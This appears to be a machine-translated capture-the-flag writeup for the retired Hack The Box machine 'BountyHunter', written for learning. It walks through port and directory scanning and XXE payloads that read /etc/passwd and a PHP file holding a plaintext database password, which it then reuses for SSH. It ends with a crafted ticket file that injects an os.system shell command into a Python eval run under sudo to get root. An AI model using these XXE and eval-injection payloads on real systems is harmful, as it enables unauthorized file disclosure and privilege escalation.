This page has been machine-translated from the original page.
I am studying security using “Hack The Box,” a penetration testing learning platform. My Hack The Box rank at the time of writing is ProHacker.
This is a writeup for the retired HackTheBox machine “BountyHunter.”
About This Article
The content of this article is not intended to promote acts that violate social order.
Please be aware in advance that attempting to attack environments other than your own or environments for which you have permission may violate the “Act on Prohibition of Unauthorized Computer Access” (Unauthorized Access Prohibition Act).
All opinions expressed are my own and do not represent those of any organization I belong to.
Table of Contents
XXE (XML External Entity)
Before going through the flag-capturing procedure, let me summarize the XXE technique used first.
XXE stands for XML External Entity, and is a vulnerability that exploits external entity references in XML.
By abusing XXE, an attacker can retrieve files from the server, gather information, and perform SSRF attacks, among other things.
Reference: XXE Attack Basics | MBSD Blog
Reference: XML External Entity (XXE) Processing | OWASP
Reference: The Web Application Hacker’s Handbook (2nd edition)
DTD
DTD stands for Document Type Definition and is used to define the schema of an XML document structure.
Using <!ENTITY, you can call entity references to perform string substitution or embed the contents of external files.
Reference: XML Glossary [DTD (Document Type Definition)]
Reference: Document Type Definition - Wikipedia
Enumeration
First, I run nmap.
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-25 18:26 JST
Nmap scan report for $RHOST (10.10.11.100)
Host is up (0.54s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 178.60 secondsPort 80 is open, so I access the web interface and find the following form:
I also run feroxbuster to scan for directories.
The backend appears to be PHP, so I specify PHP in the options.
feroxbuster -u http://$RHOST/ -x php -w /usr/share/wordlists/raft-medium-directories.txt --no-recursion | tee feroxbuster.txt
301 9l 28w 313c http://$RHOST/js
301 9l 28w 314c http://$RHOST/css
301 9l 28w 317c http://$RHOST/assets
200 0l 0w 0c http://$RHOST/db.php
301 9l 28w 320c http://$RHOST/resources
200 388l 1470w 0c http://$RHOST/index.php
200 5l 15w 125c http://$RHOST/portal.phpLooking at the form’s script, it constructs an XML string from each input value, Base64-encodes it, and POST-submits it to /tracker_diRbPr00f314.php. (The string that’s actually sent seems to be further transformed from the Base64, though I couldn’t fully understand where or how.)
function returnSecret(data) {
return Promise.resolve($.ajax({
type: "POST",
data: {"data":data},
url: "tracker_diRbPr00f314.php"
}));
}
async function bountySubmit() {
try {
var xml = `<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>${$('#exploitTitle').val()}</title>
<cwe>${$('#cwe').val()}</cwe>
<cvss>${$('#cvss').val()}</cvss>
<reward>${$('#reward').val()}</reward>
</bugreport>`
let data = await returnSecret(btoa(xml));
$("#return").html(data)
}
catch(error) {
console.log('Error:', error);
}
}XXE looks applicable here, so I’ll try various approaches next.
Exploiting XXE
I modify the script in the browser console as follows and submit the form.
async function bountySubmit() {
try {
var xml = `<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">] >
<bugreport>
<title>&xxe;</title>
<cwe>${$('#cwe').val()}</cwe>
<cvss>${$('#cvss').val()}</cvss>
<reward>${$('#reward').val()}</reward>
</bugreport>`
let data = await returnSecret(btoa(xml));
$("#return").html(data)
}
catch(error) {
console.log('Error:', error);
}
}This returns the Base64-encoded passwd in the title element.
Looking at the regular user names, I found development, so I tried the following XXE payloads to retrieve the user flag or SSH private key — but unfortunately they all failed.
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/development/user.txt">] >
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/development/Desktop/user.txt">] >
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/development/.ssh/id_rsa">] >So I decided to retrieve other files running on the server.
From the earlier feroxbuster results, db.php looked suspicious.
# <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php">]
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";This is what was actually retrieved.
Database credentials are hardcoded in plaintext.
I couldn’t find a database access endpoint, so I wasn’t sure what to do next — but I tried using the password for SSH as a last resort, and it worked! I obtained the user flag.
ssh development@$RHOST
# m19RoAU0hP41A1sTsq6KNext, I’ll go for root.
Privilege Escalation
From here, I perform privilege escalation.
I ran linpeas to gather useful information.
#
Operative system
https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits
Linux version 5.4.0-80-generic (buildd@lcy01-amd64-030) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021
Distributor ID: Ubuntu
Description: Ubuntu 20.04.2 LTS
Release: 20.04
Codename: focal
#
Sudo version
https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.31
Possible Exploits:
[+] [CVE-2021-3156] sudo Baron Samedit
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable
Tags: mint=19,[ ubuntu=18|20 ], debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable
Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: probable
Tags: [ ubuntu=20.04 ]{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded
[+] [CVE-2017-5618] setuid screen v4.5.0 LPE
Details: https://seclists.org/oss-sec/2017/q1/184
Exposure: less probable
Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154
sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.pyThere are several potential vulnerabilities, but I was interested in ticketValidator.py, which can be run with sudo without a password.
ticketValidator.py
Here is the script:
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()This appears to be a script that accepts a file in a specific format as input and parses it.
Exploring the system, I found the ticket format:
#cat /opt/skytrain_inc/invalid_tickets/390681613.md
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**31+410+86**
##Issued: 2021/04/06
#End TicketHere, eval is called when the first number (split by +) on the line after __Ticket Code:__ has a mod-7 result equal to 4.
This means the part **31+410+86** becomes the argument to eval, so I can embed a command to spawn a shell inside it.
For a reference on calling a shell from eval, this Stack Overflow post was helpful:
Reference: Python - running reverse shell inside eval() - Stack Overflow
So I created the following file:
#cat mal.md
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**11+100 != 0 and __import__('os').system('/bin/bash') == False**
##Issued: 2021/04/06
#End TicketRunning ticketValidator.py with sudo and passing this file spawns a root shell.
Summary
True to the machine name, the process of finding bugs yourself to obtain root was quite enjoyable.